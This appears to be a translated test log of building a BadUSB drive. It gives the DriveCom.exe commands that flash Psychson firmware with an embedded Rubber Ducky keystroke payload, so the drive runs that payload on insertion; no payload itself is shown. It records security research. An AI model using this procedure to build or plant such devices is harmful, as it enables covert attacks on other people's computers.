BADUSB Test Records

0x00 Preface

Not very new, other authors have done research on this, this article is only used to record the operation process, save the log, explain the details.

0x01 Reference

Https://github.com/adamcaudill/Psychson
Https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
http://zone.wooyun.org/content/20001

0x02 Environment Construction

1. Hardware

U disk: Toshiba Flash series USB 16GB (Black) USB3. 0  2251- to buy Address: http://item.jd.com/929732.html

2. Software

Windows x64 Host

(1) Java Runtime Environment:java environment to support Duckencoder

(2) SDCC: Write a USB flash drive environment to support Psychson

(3) Visual Studio 2012: Compiling the Psychson development environment

(4) Psychson:basusb write tool (Https://github.com/adamcaudill/Psychson)

(5) Burner File:BN03V104M.BIN, necessary burner

(6) Usb-rubber-ducky Payload: Writing the Payload Reference Code (HTTPS://GITHUB.COM/HAK5DARREN/USB-RUBBER-DUCKY/WIKI/PAYLOADS)

(7) Duckencoder: for compiling payload

(8) Chipgenius chip Detection Tool: Used to determine the USB flash drive model

0x03 Operation Flow

1, configuration payload

Go to Duckencoder folder

Perform:

Java-jar encoder.jar-i Payload.txt-o Inject.bin

Description

Encoder.jar: Folder comes with Payload.txt: Refer to USB-rubber-

2. Generate firmware

Perform:

Psychson-master\firmware\build.bat

Generate Fw.bin File

3. Write payload to Fw.bin file

Perform:

EmbedPayload.exe Inject.bin Fw.bin

Description

4. Write the generated firmware to the USB flash drive

(1) Implementation

Drivecom.exe/drive=e/action=setbootmode

Setting the USB drive mode

(2) Implementation

drivecom.exe/drive=e/action=sendexecutable/burner=bn03v104m. BIN

Operation Burner

(3) Implementation

drivecom.exe/drive=e/action=sendfirmware/burner=bn03v104m. Bin/firmware=fw.bin

Swipe the fw.bin into the USB drive

0x04 Summary

After the brush is successful, the next time you insert the USB flash drive will simulate the keyboard operation and automatically execute payload

0x05 Supplement

If the brush is bad or you want to change the payload, you need to short-connect 39 and 40 stitches, and then use the official Brush write tool to refresh

BADUSB Test Records